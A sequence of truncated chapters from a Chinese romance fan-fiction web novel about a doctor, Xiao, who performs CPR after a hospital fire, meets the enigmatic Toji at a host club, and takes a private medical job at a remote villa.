“不好!”晓直起身子,下意识指挥道,“快把他放平!” 甚尔抬起薙刀的尾部,把男人的下半身翻了过来。 至于上半身,则早就被晓吃力地摆正了。 看出晓打算做什么,甚尔扛着薙刀蹲下身子,吊儿郎当道:“能救不?”似乎并不怎么着急。 晓神情专注,整个人趴到中年男人胸前,认真听音,确认对方的口鼻没有异物,然后双手扒开他的衣服,露出胸部,右手放在左手手背上,用左手掌根部抵住男人的胸骨中间位置,伸直手臂,整个人跪在地上,宛如一根绷紧的弓弦,用全身的力量骤然下压—— 一套动作行云流水,毫不犹豫。 甚尔见晓无视了他的话,似乎觉得有些新奇,手一抬,将薙刀缓缓伸进他肩膀上方的位置,整个薙刀就仿佛被什么东西吃了进去一样,从头到尾一点点消失不见了。 没了碍事的长武器,甚尔蹲得更结实了些,俨然一副看热闹的模样。 专注于抢救的晓没有注意到这边的异常,她紧皱着眉头,几乎是咬着牙在使着力,直到三十次按压之后,她喘了口气,然后将男人的头仰起,捏住他的鼻子,一点不停顿地凑上前去,嘴对嘴地往里头吹气。 人工呼吸。 一旁的甚尔一下没反应过来,双眼缓缓睁大。 “喂。”他喊了一声。 眼见着男人的胸膛被自己吹鼓了起来,晓又再次回到他胸部,开始按压。 此时的晓并不知道,如今的她可以说是狼狈不堪。 身上的白大褂早就已经被浓烟熏得东黑一块儿西黑一块,衣摆得下方还有几道烧焦的痕迹,脸上更是惨不忍睹,全是铺上了又被划开的灰尘,就连扎起来的长发都被烧断了尾巴。 但她一双碧绿色的眼睛却在蒙尘之中明亮异常,宛如夜空中的启明星,在顺着脸颊滑落而下的汗珠之间,散发着让人移不开眼的夺目光芒。 甚尔默默看着晓一遍又一遍地重复心肺复苏的步骤,半晌,突然道:“喂,你知道这家伙不是什么好东西吧?” 见晓还是没搭理他,甚尔也无所谓,继续道:“看刚刚那个情况,他手上的性命可不少,不然也不会被诅咒成这种鬼样,连你们医院的镇物都看不下去了——这还是我第一次见呢。” 接连两次心肺复苏后,晓开始疲乏了。 “要不干脆让他死了算了。”甚尔不知为什么好像有些不爽起来,“这就是个铁公鸡,反正活着也给不了多少。” 终于,晓的体力耗尽了,她意识到了这点,抬手用手背擦了擦汗——脸上顿时更花了,“快!接力!” 甚尔左右看了看,挑起眉头,指了指自己。 “我?” “喂女人。”他一脸匪夷所思,“刚刚我说的话你没听见吗?” “听见了。”晓剧烈喘息着,连忙把 6. 希波克拉底誓言 《天与暴君的妻子每天都在想什么》全本免费阅读 睁开眼盯着惨白的天花板,晓缓了好一阵子才清醒过来。 “醒了?来,喝口水。” 手边传来熟悉的声音,晓侧过头去,就看见自家爸爸正坐在病床旁,给自己递水。 晓试着撑起身子,一下没成功,谦和见此连忙伸手帮她坐直。 一杯温水下肚,晓顿时感觉嗓子好多了,“我睡了很久吗?” “没多久。火灾是昨天的事,现在已经下午了。”谦和接过晓喝过的水杯,“身体还有哪里不舒服吗?” “我这是在呼吸科?”晓了然,“他们有说什么吗?” “说你没什么大碍,明天就能出院了。”谦和笑了笑,面露骄傲,“听说你救了三个人,你们院长还要给你表彰呢!” 晓顿时有些不好意思起来,“他们呢?” “我们没事!”接临的床位上传来开朗的男声,晓扭过头去就看见小木子正躺在病床上,身上缠着好几个绷带,快乐地跟她打招呼,“没伤到神经,也没有破相,多亏了夏烧前辈,不然我以身相许吧?” 晓笑骂了他两句,让他小心点伤口。 谦和对小一辈的玩闹没有放在心上,见晓缓过了神,问道:“这次的火灾现场爸爸也去看过了,你当时有注意到火灾之前有什么异样吗?” 异样?晓面色一僵,尚未冰凉的恐惧率先涌上了心头,她马上回想起昨天晚上怎么都走不出的诡异长廊,便下意识地扭头,求助地看向小木子。 接收到前辈目光的小木子茫然地歪了歪脑袋。 谦和负责的消防管理区域就在这一片,这里发生了火灾,还是在医院里,最终落到他手上调查也不是什么奇怪的事情,但那时的情况实在是太过匪夷所思,她一时之间也不知道该从何说起。 “怎么了,夏烧前辈?”小木子见晓犹犹豫豫的模样,大大咧咧地好奇道,“你看到什么了吗?我什么都没注意,该不会真的是我的手电筒惹的祸吧?” 晓一愣,“手电筒?什么手电筒?” 小木子也奇怪起来,玩笑道:“当时听你们说走廊的灯坏了,我不是带了个手电筒跟你们一块去嘛。结果后来火警说没发现火源,我还以为是我的手电筒点的火呢。” 谦和闻言也笑了,“现场没有发现手电筒,而且手电筒点火的概率也太低了。” 小木子也就随口一说,其实自己也不相信,“啊,那我的手电筒去哪儿了呢?” 经常出急诊的医生口袋里都会随身带一个手电筒,用于检查患者瞳孔,他这个手电筒跟了他许久,丢了还怪不舍的。 “待会儿我帮你问问。”谦和随口答应,随即转头看向晓,见她脸色古怪,皱眉担忧问道,“怎么了?想起什么了吗?还是哪里不舒服?” 晓摇摇头,喉咙发紧,又再次扭头,“小木子……你,什么都不记得了吗?” “什么?”小木子茫然。 “就是……”晓看了眼谦和,“就是,就是那个走廊……534号病房,你不记得了吗?” 小木子被晓的脸色吓了一跳,“你在说什么呢,夏烧前辈?” “那天晚上,不是你和渡边害怕所以才拉上我的吗?后来我们去找开关的时候,周围不知道为什么就起火了,我们被困在火场里,还是你把我们带出来的呢。” “渡边也是这么说的。” 晓脸色瞬间一白。 他们都不记得了……怎么会,明明当时…… 晓顿时陷入了混乱之中,就在这时,她感觉肩膀一沉,抬眼看去,就是爸爸担忧的面容。 “会不会是产生幻觉了?”谦和一副经验老道的模样,拍了拍晓的肩膀,安抚道,“没事的,这是正常的。你刚刚经历了生死攸关的情况,又在火场里吸入了很多浓烟,有过短暂缺氧,有些人在那种状况下会把当时看到的东西幻觉成别的事物,爸爸之前遇到过,没事的。” 幻觉?晓一愣。 “夏烧前辈,你没事吧?”小木子也凑上来关心道,“只是一次普通的火灾而已,大家都获救了,别想太多。” 闻言,晓精神一恍惚,开始自我怀疑起来。 原来是幻觉吗? “对了,我听说当时跟着你的还有一名男性。”见晓脸色还是不对,谦和干脆岔开话题,“你认识他吗?” “我……”晓一愣,瞬间回过神来,刚想要说什么,忽然就想起了她在失去意识前隐隐约约听到的话。 「……你知道这家伙不是什么好东西吧。」 「……干脆让他死了算了……」 「……活着也……」 晓忽然面露难色,不吭声了。 谦和见此皱了皱眉头,然而正当他打算追问下去时,有人敲响了病房门。 “失礼了。”一名气质温润的男医生缓缓地推开了房门,他一抬头见晓已经苏醒,面上顿时露出惊喜的表情,但见谦和还在,便只好收敛心思,先走到了更靠近门口的小木子床边。 他的身后还跟着活蹦乱跳的渡边,手上提这个果篮,显然是来探病的。 晓抬头见到男医生,脸色顿时尴尬起来。 “夏烧医生,你醒啦!”看见晓靠在床头,渡边连忙凑了过去,将手中的果篮放到床头柜上,“太好啦!给,这是礼物!” “谢谢!”心绪被打断,晓注意到渡边身上穿着常服,问道,“你已经出院了吗?不好意思,还让你在休息日来探望我。” “说什么呢,夏烧医生你可是我的救命恩人啊!”渡边嗔怪地挥了挥手,“而且院长先生给我们都放了一周的假哦,假期充足,放心吧!” “你也应该很快就出院了,到时候也能在家休息几天。” “真的?!”一说到假期,晓顿时眼睛都亮了,“那我得赶快好起来才行。” “没错没错。”渡边深以为然地点头,并隐晦地朝晓眨了眨眼,偷偷示意她看向她背后的男医生,低声道,“约会啊,什么的,也可以安排一下啊。” 晓干笑了两声。 这时男医生也检查完了小木子的情况,来到晓的床边,他垂着头先温柔地朝谦和打了个招呼,然后才向晓问道:“感觉身体怎么样?有没有不舒服的地方?” “挺好的。”晓略有些局促,“我想,一会儿出院应该也可以。” 男医生轻轻笑了两声,“虽然心脏问题你说的算,但这里还是得听我的,再观察观察,明早再说吧。” “那就只好再麻烦你了。”晓生硬地点头。 谦和看了看晓的脸色,似乎察觉到了什么,站起身来道:“我也该差不多回去工作了。晓,有什么事情再给爸爸打电话。手机放在床头了。” “知道了。”晓连忙点头。 “叔叔要走了吗?我来送送你吧。”眼见着谦和要离开,男医生当即撇下晓,连忙跟上,为他打开房门,“叔叔不常来呼吸科吧……” 房门关上,晓顿时松了口气。 “松本医生人真好,他在你昏迷的时候一直在附近打转,还亲手帮叔叔打了饭呢。”没察觉到晓的不自在,渡边搬过一旁的椅子坐下,兴致勃勃道,“人又温柔,多好啊。” 小木子已经伸手从果篮里摘了一颗葡萄塞进了嘴里,一副思索的模样,“松本前辈啊……人是挺好的,嗯,我赞同。” “赞同什么啊!”晓叹了口气,“我们不合适。” “为什么呀?”小木子当即好奇。 “哎呀。”终于看出了晓面上的抗拒,渡边朝小木子挥挥手,示意他别说了,“对了,夏烧医生,你的头发该修剪了。” 晓的头发被火舌燎了发尾,从火场出来的时候头绳 7. 牛郎店 《天与暴君的妻子每天都在想什么》全本免费阅读 深感莫名其妙的晓第一时间回忆了一下自己到底做了什么事,可她左思右想,也没想明白自己到底是做了什么竟被他这么干脆地审判出局了。 难道是后悔了? 可他们从加上联系方式到现在,也才过了不到三天啊,这么快? 而且他们还一起经历了一场大火,她本以为她还能借此跟他多了解一些呢。 想不通的晓心中倍感遗憾,不过他们毕竟只是萍水相逢,既然对方已经那么明确地表达了不愿深聊的意思,她除了接受好像也没有什么别的办法。 只是可惜了她好不容易才对一个人有了感觉。 成年人的世界就是充满遗憾啊。 第二天,晓在出门前接到了结衣的电话。 “Surprise!”结衣声音开朗,“快给你的小天使开门!我就在你家门口!” “什么?!”晓大惊,嘴里叼着的早餐包还没来得及咽下去,就赶紧推开椅子站了起来,跑到玄关处拉开门。 坐在餐桌对面的谦和见此好奇地往外头伸出个脑袋,“谁来了吗?” “当当!”门外,娃娃脸少女挺着个大肚子,骄傲仰头,“小天使降临!” “结衣!你怎么来了?!”晓连忙把她请进来,又惊又喜,难以置信,“介人同意了?!” “他不同意。所以我是偷偷来的。”结衣为自己完美无缺的计划点赞,“你都住院了,我怎么可能待得住啊!必须来看看我的好朋友有没有缺斤少两。啊,叔叔好!” “是结衣啊!”谦和也好久没见到结衣了,高兴道,“怀孕了,要小心身体啊。” “没事没事。”结衣摆摆手,轻车熟路地从一旁的鞋柜里扒拉出自己的专用拖鞋,“我可小心了!” 心惊胆战地护着健步如飞的怀孕好友回到餐厅里坐好,晓一抬头,就见谦和已经为结衣分好了另一份吃食,甚至还摆了个盘。 “谢谢叔叔!”结衣一点不客气,抓了个早餐包就塞进嘴里。 晓在一旁坐下,这会儿也冷静了下来,继续吃起了早餐,“你是怎么来的啊?” 京都到东京可不算近。 “司机伯伯送我来的。”结衣胸有成竹,“放心吧,保密工作很完美,介人不会知道的——他还以为我现在正在上烹饪课呢!” 晓手下一顿,抬头默默和爸爸对视了一眼,然后悄悄拿起手机。 果然,介人的短信准时到达,分秒不差。 【麻烦了。】 晓叹气。 听说晓打算出门剪头发后,结衣踊跃报名。 “我也要去!”结衣跑到晓身后,摸了摸她狗啃一般的发尾,啧啧两声,“看来这得大修了。” 临走前,谦和递给晓一个东西。 “护身符?”晓接过小小的挂坠看了一眼,发现这是一个迷你版的福袋,袋口被封紧,不知道里面装着什么,“怎么突然有了这个兴致?” “一定是叔叔担心了!”结衣点点头,“你才刚刚经历了那么大的事情——多危险啊!肯定是祈愿要保护你的意思。” “你就拿着吧。”谦和也没否认。 “好。”得到爸爸的护身符,晓也很高兴,当即挂在了帆布包上,“谢谢爸爸。” 走出家门,花宫家的司机还在待机,晓便搭了个顺风车。 结衣一点都没有作为孕妇的自觉,坐在车里东张西望,一会儿问问晓的身体怎么样,一会儿又兴高采烈地说要去尝试新的理发店,到最后才终于鬼鬼祟祟地凑到晓身边,问起八卦来。 “你和你的那个大英雄怎么样?”结衣两眼放光,眼珠子咕噜一转,不知道起了什么心思,“带我去看看他呗。” 晓托腮,叹气,“没戏了。” “什么!”结衣一惊,“这么快就没戏了?!” “对啊,他都拉黑我了。” “为什么啊?”结衣不理解,“你要身材有身材,要美貌也不差,才华那更不必说,简直远近闻名……他竟然都没有看上你?” “实际上我们都还没有开始互相了解呢。”晓苦恼,“我也不知道发生了什么……不过算了,也许是没有缘分吧。” “竟是如此……”见此结衣一琢磨,“没关系!那我再给你介绍介绍!” “暂时还是不用了吧,都没什么心情了。” “你不懂,忘掉一个男人的方法,就是爱上另一个男人!”结衣振振有词,“这次我们不找厉害的了,我们去找家庭主夫吧,这样应该成功率会上升。” 之前给晓找的相亲对象都是在各自事业里的同龄佼佼者,本想着能与晓相当,却没想这一类的男生大多都以事业为重,需要的是能持家的女方,对于晓来说,自然是个个碰壁。 晓一听,还真有些好奇,“会有这样的吗?” “肯定有!”结衣很有信心,“这次我们去找一些自由职业者,像是作家、画家什么的,自由时间多,绝对没问题的!” 聊着聊着,汽车就在路边停了下来。 司机回头,“夫人,晓小姐,到了。” 决定发型的时候,才发现已经没有什么选择的余地了。 “这太糟糕了,得剪到这里才行。”发型师比划了一下。 结衣瞪大双眼,“这也太短了吧!” 发型师建议,“也可以染个头发,或者烫一烫,能更好看,但是长度确实是没办法了。” “没事,头发还能再长回来。”晓痛心疾首,“剪吧!” 最后也没染没烫,晓简单修剪了一下头发,就出来了。 结衣拍了拍晓的肩膀,安慰道:“等长了,我再陪你出来剪一次。” 晓欲哭无泪。 现在她的一头长发已经完全消失得无影无踪,长度只勉勉强强超过耳根,又因为她天生发质稍硬,有些地方还翘了起来,炸得很有个性。 “像海胆!”结衣总结。 “别说了……”晓叹气。 结衣见晓还在郁闷,抬头一扫,突然看见了什么,兴奋地晃了晃晓的手,示意她往前看,“晓!我们去那边看看吧!” “什么?”晓顺着结衣的手看去。 就见不远处是一个巨大的十字路口,道路以路口为中心向外呈放射状,像一朵盛开的冰花,密密麻麻的人群来来往往穿梭其中,大多都穿着西服。 现在是工作日,临到中午,附近的打工族都出来吃午饭,很多餐厅都挤满了人,唯独靠近路口处的一个大厦无人问津。 大厦入口装横得金碧辉煌,上头还有巨大的海报,上面印着不少帅气的男性,一楼门牌上还挂着显眼的霓虹灯,虽然白天并不点亮,但不难想象到晚上后这里会多么亮眼。 门顶上写着店名——Club Heaven。 一看就是牛郎店。 结衣兴致勃勃,“我们去那里吃点东西吧!” 晓低头看了眼结衣大大的肚子。 “不要怀着宝宝去奇怪的地方啊!” 稍微考虑一下你先生的心情吧! 结衣:“可是介人知道了肯定不会让我去的。” 晓:你也 8. 失恋 《天与暴君的妻子每天都在想什么》全本免费阅读 今天的甚尔看上去与以往完全不同,凌乱的碎发被撩起,露出饱满的额头,优秀的鼻梁也完全显露了出来,一双灰蓝色的眼眸充满了野性,却不知为何好像蒙着一层迷雾,透着几分漫不经心。 身上的服装也变了,舒适的休闲服和拖鞋消失不见,换上了精致的西服,上衣的口袋里还放着一朵鲜艳的玫瑰,可谓是从头精致到脚。 要不是声音和嘴角处的疤痕,晓几乎要以为自己认错了人。 “你怎么在这里?”晓大吃一惊。 随即她想起了自己刚被他拉黑的事情,心里又有几分尴尬。 甚尔却看上去没有丝毫的不自在,闻言挑了挑眉,径直走上前去在晓身边坐下,长臂一伸挂在了她背后的沙发靠背上,翘起二郎腿,一脸玩味地看着晓被吓得差点蹦起来的样子,故意凑上前去,对着她的耳朵喃喃低语:“你说呢?” 几乎要将她拥进怀里。 晓当即往旁边狠狠跨了一步,瞪大了眼睛,面色通红,“你你你你怎么……” 甚尔恶劣地大笑。 被两人忽视的结衣先是被甚尔凶神恶煞的笑容吓了一跳,这会儿才反应了过来,“你们两个认识?” 晓怎么会认识牛郎店里的人? “他……”晓一时不知道要怎么解释。 难道要她说,面前的这位帅气逼人的牛郎就是这几天把她迷得晕头转向又把她拉黑的救火大英雄吗? 这也太巧了吧! 结衣不知道发生了什么,但看出了晓的尴尬,正好这时她的三分热度也退得差不多了,又想起了万一东窗事发,估计得被老公敲脑袋,便悄悄凑到晓耳边,道:“不然我们走吧。” 她自以为小声,甚尔却听得清清楚楚,只见他漫不经心地端起了侍者送来的酒,低头瞥了一眼,语气中带着些微妙的调笑:“这位小姐,这酒点得大方,不先尝尝,就打算走了吗?” 说完,他也不用工具,单手随意一挑,那酒瓶塞就被挑开了,接着他拿过桌上的玻璃酒杯,施施然倒了个半满,推到了晓的面前,却没有再为结衣继续倒酒,自己拿着剩下的酒,直接对着酒瓶喝了起来。 他仰着头,艳丽的红色液体顺着酒瓶被灌进他的嘴里,流入人看不见的地方,性感的喉结一上一下地滚动,仿佛也勾出了美酒流过的痕迹。 酒香在空气中蔓延,晓只觉得头一晕,顿时走不动道了。 甚尔一口下去,红酒已经去了一半,昂贵的红酒硬生生被他喝出了啤酒的豪迈,这一大口下去,竟也不见他有什么影响。 “怎样小姐,不试试看吗?”他也不靠近,就这么吊儿郎当地坐在原地,抬眼远远地眺了晓一眼,嘴角带笑,“你有很多问题想问我吧?” 这可就戳中了晓的心思,她顿时就犹豫了起来。 一旁的结衣一看这阵仗,哪还有不明白的,火速往卡座边缘一撤,拍拍晓的肩膀,挤眉弄眼道:“快去啊!” “这可不就是相亲第一问吗!” 晓:谁在牛郎店相亲啊!! 这么想着,身体却很诚实地靠了过去。 甚尔意味不明地笑了一下。 “不会喝酒?”他用手中的酒瓶口指了指桌上装着半杯酒的玻璃杯。 晓不怎么喝酒,但她从小都是同龄人中的佼佼者,胜负欲也不小,此时不想落了下风,便也拿起盛着的玻璃杯,喝了一口。 “会的。”她点头。 这幅佯装平淡的样子,被酒场老手一眼就看出了破绽,但甚尔也不点破,懒懒散散道:“你想问什么?” 晓马上道:“你为什么拉黑我?” “哦。”甚尔仰头想了想,“我拉黑你了吗?” 晓心想你自己拉黑的怎么会不记得,“难道你点错了?” “应该是点错了吧。”甚尔目光一扫,盯着晓剪短的头发看了几眼,突然笑了起来,似乎是发现了什么好玩的事情,但嘴里却说,“夏烧医生当时救人时的身姿,我到现在还没忘呢。” “啊,那是我应该做的。”晓不知为何,心里突然觉得微妙起来。 他好像……很擅长调情? 随即她转念一想,牛郎当然是要擅长调情的,心里更不舒服了。 而此时甚尔已经两口把红酒喝了个精光,“哎呀,酒喝完了,没了酒,可就谈不了了。” 晓顿时又想起了以前看见的新闻来。 牛郎这种职业,靠的就是一张脸和让顾客舒心的对话技巧,把顾客哄高兴了,再从酒水钱中获得分成,新闻里偶尔也会看见有人为了供养牛郎而倾家荡产。 这么想着,晓突然就没了兴致。 见晓已经意兴阑珊,不知为什么,甚尔心头有些不爽起来,呵了一声,“就是这样而已?” 一旁守着的侍者见此顿觉不好。 在他们这家店里,甚尔是个特殊的存在,虽然不是头牌,但却也不受店里的规矩约束,甚至比头牌还要自由,想来就来,想走就走,有的时候心情好了,就哄哄客人,赚几个酒钱,有时候心情差了,客人上赶着送钱,他都没兴趣。 他们这些底下的人也不知道甚尔的身份,只知道他跟店长相熟,店长也特地提点过他们平时不要管甚尔,但每次甚尔来,就算是最厌烦的时候,也不曾这么直接挑衅客人啊。 今天他把甚尔请到这边来,也是看这次来的是新客,旁边那名出手阔绰的孕妇显然是陪自己的朋友来的,这就相当于只需要哄好一个人,就能得到两个人报酬,是个好差,没想到这人今天竟然不按常理出牌。 这么想着,果真就见晓的表情不对起来,侍者连忙走上前去,就想要说几句缓和气氛,“真是不好意思,女士……” 就在这时,旁边的卡座里突然传来争执声。 结衣正好就在卡座边缘,往回一瞥就看见了那边的场景。 那卡座上只坐着一位牛郎,此时正拿过桌子上的似乎是合同一样的东西,面上带着愤恨,但却压着声音,跟站在桌头对面的侍者争吵着。 “我看这上头分成变了不少啊。”牛郎咬牙切齿,“为了这家店,我也算是鞠躬尽瘁了,到头来却把这合同放在了我面前……你让我们兄妹俩该如何活?” 对头的侍者面无表情,只是低眉顺眼道:“你跟我说也没用,这是店长的决定。” 牛郎冷哼一声,“欺人太甚!” “赶快吧。”对头的侍者注意到隔壁的顾客们被打扰,特别还看见了坐在其中的甚尔,唯恐多生事端,催促道,“别耽误了店里的生意。” 但他这么一瞥,牛郎也注意到了甚尔的存在,他冷静片刻,抬手拿起桌面上的合同,“我在这里工作了那么多年,想来是面孔不够新鲜,得换新的了吧……果然这一行没得保障。可我父母双亡,只有妹妹相依为命,万不可断了财路,看来以后只能另开门户了。” 说着他频频将目光投向甚尔,“开店需要新员工,新店没个名气,只能把‘待遇’提上来,不知禅院君有没有兴趣?” 甚尔没回答,那侍者先说:“禅院贵着呢,只怕你没那本钱。” 见此,那牛郎脸色一变,下一秒,竟直接落下了泪,那副娇弱可怜的模样,任谁见了都不忍,“你们这是要逼死我啊!” 结衣怀着孕,心思本就比以往更细腻多变,此时见这牛郎身世多坎,又被老店家欺负,心里顿觉怜爱,但她知道自己是个没心眼的,这种复杂的事情别帮人还搞出祸来,第一个反应是要打电话给自家聪明绝顶的老公,想着就掏出了手机。 那边哭声刻意地快要捅破了天,这边甚尔还坐在原地,对喧闹毫无兴趣,这幅冷眼旁观的模样被晓看见了,让她心里更觉失望了起来。 好歹也是同僚,怎么也不帮着说句话? 店里的内部事宜让客人给看见了,侍者更觉着头疼了,他先是上前来到甚尔身边,低声抱怨道:“禅院,你今天怎么回事,快把顾客哄好了。” 然后才连忙跑到邻桌的卡座,把那哭哭啼啼的牛郎拧到后台去,心想这一个个的今天怎么都不省心。 晓却在这时拉起了结衣,“我们走吧。” 结衣一愣,“你不聊啦?” 晓摇摇头,鬼使神差地又回头看了甚尔一眼。 说实在话,今天的甚尔真的很帅,本来硬件条件就不错,打扮精致起来更是要人命,不难想象会有多少女人会被他迷得找不着北,稀里糊涂地就把酒钱给付了。 但晓却觉得今天他的这股帅气,与之前在不经意间流露出来的不同,让人觉得锋利、冰冷。 好像刺猬发现了天敌,警惕地都把自己身上的刺都竖起来了,却偏要若无其事。 不知为何,她忽然就想起甚尔刚刚坐在卡座上仰着头喝酒的样子,此时冷静下来,才觉得那个时候的他好像既不高兴也不悲伤,只是机械地喝水而已。 满身都写着“生人勿近”。 晓心中一动,走到甚尔跟前,问道:“如 9. 共处 《天与暴君的妻子每天都在想什么》全本免费阅读 “我一个人吗?” 院长办公室里,第一次接到外派治疗工作的晓满脸惊讶,“可是这个病症……不是心内科的吧?” 刚结束假期回到岗位上,晓就被院长叫进了办公室,给了她一份资料,并告诉她有一名VIP客户指明要她去为其孩子治病,提供了非常丰厚的报酬,这份报酬,即使是医院抽成之后也非常可观。 条件就是需要晓到其私宅进行治疗,一切设施那边都会准备。 可晓看了一眼那孩子的病历,却发现这并不是她专长的领域。 对此院长也很无奈,“客户很固执,我已经争取过了,但对方似乎只在乎你的名头,并不关心科室,况且我想来想去,最近你也正好在准备无国界医生的考核,也许这段经历你能用得上。” 无国界医生组织是一个独立的从事人道救援的非政府组织,以在饱受战争摧残的地区和贫穷国家致力协助抵抗地方疾病的计划而闻名。 每一个无国界医生都是一名战士,他们行走在人类刀锋的最顶端,在生与死最狭隘的走廊中拯救生命,穿梭在炮火与疾病的弹幕之间,是毋庸置疑的勇士。 也是晓从小到大的梦想。 但当无国界医生太过于危险,几乎所有人都劝过她,毕竟无国界医生大多行走于战区或卫生条件不良的地区,一不小心就可能丧命。 可那么多年的拉扯,晓的决心从未改变,渐渐的,也少有人在她面前提了。 不过她心里知道,即使自己的亲朋好友表面上支持,心里还是不乐意的,所以都盼着她能够尽快成家,能拖一天是一天。 而且成为无国界医生也不是一件容易的事情,就算是这么艰难而又没有报酬的事业,世界各地的理想主义者们依旧奔涌而至,只有通过严格的考核,才能成为他们的一员。 这其中,一定的医疗经验就是关键。 “但我也不能乱治啊。”晓一脸为难,“虽然我为了无国界医生确实对外科有研究,但这个明明有更好的选择,为何……” 她总觉得这里面透着股诡异。 “也并不是什么疑难杂症,我相信你可以解决。”院长却对晓很有信心,“有什么需要帮助的你尽管提就是,不懂的就找同事们问问,对方要得急,我们也没办法推脱啊。” 这些大客户们一个个权利滔天,他们还能拒绝不成? 听到这里晓也明白事情已没有回旋余地,只好第二天收拾收拾行李,坐上了客户来接她的专车。 在病人的情况稳定之前,她都必须要在客户的私宅中待命才行。 临走前,谦和在家门口送她。 “有什么事给爸爸打电话。”谦和拍了拍她的肩膀,“记得爸爸的护身符,别丢了。” “知道了。”晓拍拍帆布包,“都在这呢!” 客户的私宅在远离闹市的郊区,离开东京之后,轿车缓缓拐入了一个人迹稀少的小山中,左拐右拐,好半天才终于到达了目的地。 晓从车上下来,发现周围是一片茂密的森林,森林里的树木高大粗壮,几乎各个都有四五层楼高,将阳光捕了个干净,抬眼望去阴森昏暗,偶尔还能听到几声小动物发出的吱吱声。 这让晓有些害怕起来,唯恐有什么野兽,扭头问司机道:“真的是这里?” 看上去不像是有人住的地方啊。 “是这里。”司机正在帮晓搬行李,闻言答道,“顺着这条石道往下走就是,这里没办法开车,只好劳烦您多走几步了。” 这算是有钱人的情趣?晓心里嘀咕了几句。 怎么住在这种深山老林里?连车都开不进去,是怕被其他人发现吗? 好在石道并不算难走,凹凸不平的表面早就被磨得平整,几分钟后,前方的道路终于柳暗花明,竟是一片宽阔的草坪,草坪四面被高高的森林围着,中间是一座五层的欧式大别墅,放眼望去,面积不小。 “到了。”司机道。 将行李放下,司机便走了,门口外只剩下了晓一个人,她抬眼看了看面前的大别墅,抓着帆布包的手紧张地握了握,这才上前,摁响了门铃。 结果门没开,门边的通讯音响先发出了声音。 “门没关,进来吧。”一个男声淡淡道。 晓被吓了一跳,佯装镇定道:“好的。” 别墅门果然没锁,打开大门后,晓伸个脑袋往里面探了探,发现里面竟然一个人都没有。 宽阔的大厅里拉着窗帘,昏暗寂静,只有打开的大门放进了一束光,照在面前的木地板上,仔细一瞧还能看见空气中飘荡的尘埃,似乎这里鲜有人踏足。 晓小心翼翼地拉着行李箱进门,忐忑道:“有人吗?” 没人答应。 这荒郊野岭的地方,突兀出现的昏暗别墅,明明有人指示她开门,走进去后,却又不见一个身影…… 一瞬间,晓的脑海里已经闪过了各种鬼故事,顿时整个人都不好了。 “终于来了啊。” 就在这时,本应无人的大厅里突然传来一个声音,把晓吓得差点跳起来,“谁?!” “哈哈哈。” 低沉的大笑声响起,恶劣的声线听起来竟然又些耳熟,晓深深地吸了几口气,脸色发白,紧接着开关声响起,整个大厅瞬间明亮。 “真是没用啊。”旋转楼梯上走下一个人,看见晓吓得瑟瑟发抖的样子,嘴角咧开恶魔般的微笑,“这就把你吓成这样了?” “禅院?!”晓看见甚尔,反而松了口气,“你怎么在这儿?” “你除了这个就没有别的可以问了吗?”甚尔无趣地掏了掏耳朵,走下楼梯来到晓面前,低头看她,“你又怎么在这儿?” 高大的身材弯腰靠近时非常有压迫感,晓下意识地缩了缩脖子,随即反应过来,一皱眉,有些恼羞成怒,“我是因为有工作!” “那我也是工作。”甚尔龇着口牙,双手插兜,身上还是那副吊儿郎当的模样,一点看不出来正经,只是他气质莫名带股颓劲,垂眸看人笑的时候,无端就有种讽刺的味道,“怎么,你没听说吗?” “接下来的一个月,这里可就只剩下我俩了。” 晓没上当——不管怎么说,这里肯定还会有等着她治疗的病人,“你不是牛郎吗?” “牛郎偶尔也要为客户做点别的生意嘛。”甚尔站直身体,“不然你以为我想见到你?” 晓更觉得莫名其妙,“我有对你做什么吗?” “有啊。”甚尔瞪大眼睛,摆出一副恐吓人的模样,“你把我蠢到了。” 晓:“……” 于是等到出门采购物品的孔时雨拎着两大袋日用品走进别墅玄关的时候,就看见一名穿着卫衣的女人手撑着行李箱,竟气呼呼地跟甚尔对峙得有来有回,关键是他那个半天放不出一个屁来,只对打架感兴趣,平时连被人丢冰淇淋都能无所谓到顶着黏糊糊的外套坐上他的车才想起要丢掉的搭档,此时竟然一脸兴致盎然,活像只发现玩具的狗。 孔时雨顿时露出见鬼了的表情。 晓就更郁闷了,她觉得这人怎么这么奇怪,在她仰慕于他的时候,一副爱 10. 厨房 《天与暴君的妻子每天都在想什么》全本免费阅读 晓的休息室被安排在二楼的正中央,打开窗户正好就能看见正门前的石道和宽阔的草坪,视野还算不错。 把行李放下后,惦记着生病的孩子,晓向目前似乎唯一能给自己回答的孔时雨问道:“请问客户他们在哪儿呢?” “哦,他们都不在这儿。”孔时雨单手插进兜里,另一只手指了指天花板,“如果你是找小少爷的话,他现在在最顶层。” 小少爷就是这次晓需要治疗的病人,名叫铃木匠海,因为身体不便,现在只能躺在病床上。 晓听完一愣,“顶层吗?” 为什么一个行动不便的人,会住在别墅的顶楼?而且周围好像并没有电梯。 “不用担心,那里设施一应俱全,有人照顾他,平时也不会有人下来。”孔时雨有些焦躁地掏了掏口袋,掏出一根烟来叼进嘴里,勉强压住烟瘾,“你只有中午十一点到下午一点的时间可以上去给他看诊治病,其余的时候随意就行。” “为什么?”晓下意识地一皱眉,觉得事情越来越诡异了,“为了病人的健康,我需要实时知道他的身体状况。” “废话这么多,照做就是了。”甚尔双手抱胸,靠在门框上,不耐烦道,“多事的女人容易死哦。” 晓闻言一顿,忽然认真道:“人终有一死,所以才要在那之前做些不让自己后悔的事情。” 甚尔嗤笑道:“能活活,不能活死,哪来那么多蠢事。” 孔时雨怕他们又吵起来,连忙截住话,“没什么事的话,医生,我们就先走了。厨房里会有人定时填充食物,洗漱间在走廊尽头,除了顶层只能中午去,其他的地方你可以随意使用。走吧,禅院。” 甚尔最后瞥了一眼晓,然后跟着孔时雨离开了。 晓扫了眼脚边的行李,想着现在离中午还有些时辰,便开始收拾起屋子来。 走廊外,甚尔从购物袋里掏出一个苹果,也不洗,张开野兽般的大嘴,直接狠狠咬了一口,“为什么不直接找个能看见咒灵的医生?” 看孔时雨刚才那反应,甚尔也明白了,雇主这是不想让自家儿子被“妖孽”缠上的消息泄露出去,让他们在那女人面前打掩护呢。 这也不难理解,越是有钱的人就越是信这些捕风捉影的东西,这种情况在他们那里也有一套说法,大概叫做什么“气运受损”。 简而言之,就是本来没有的事,被外头的人惦记的多了,产生愿力,反而会成为现实。 这可不就是诅咒?甚尔半阖着眼,又咬了一口苹果。 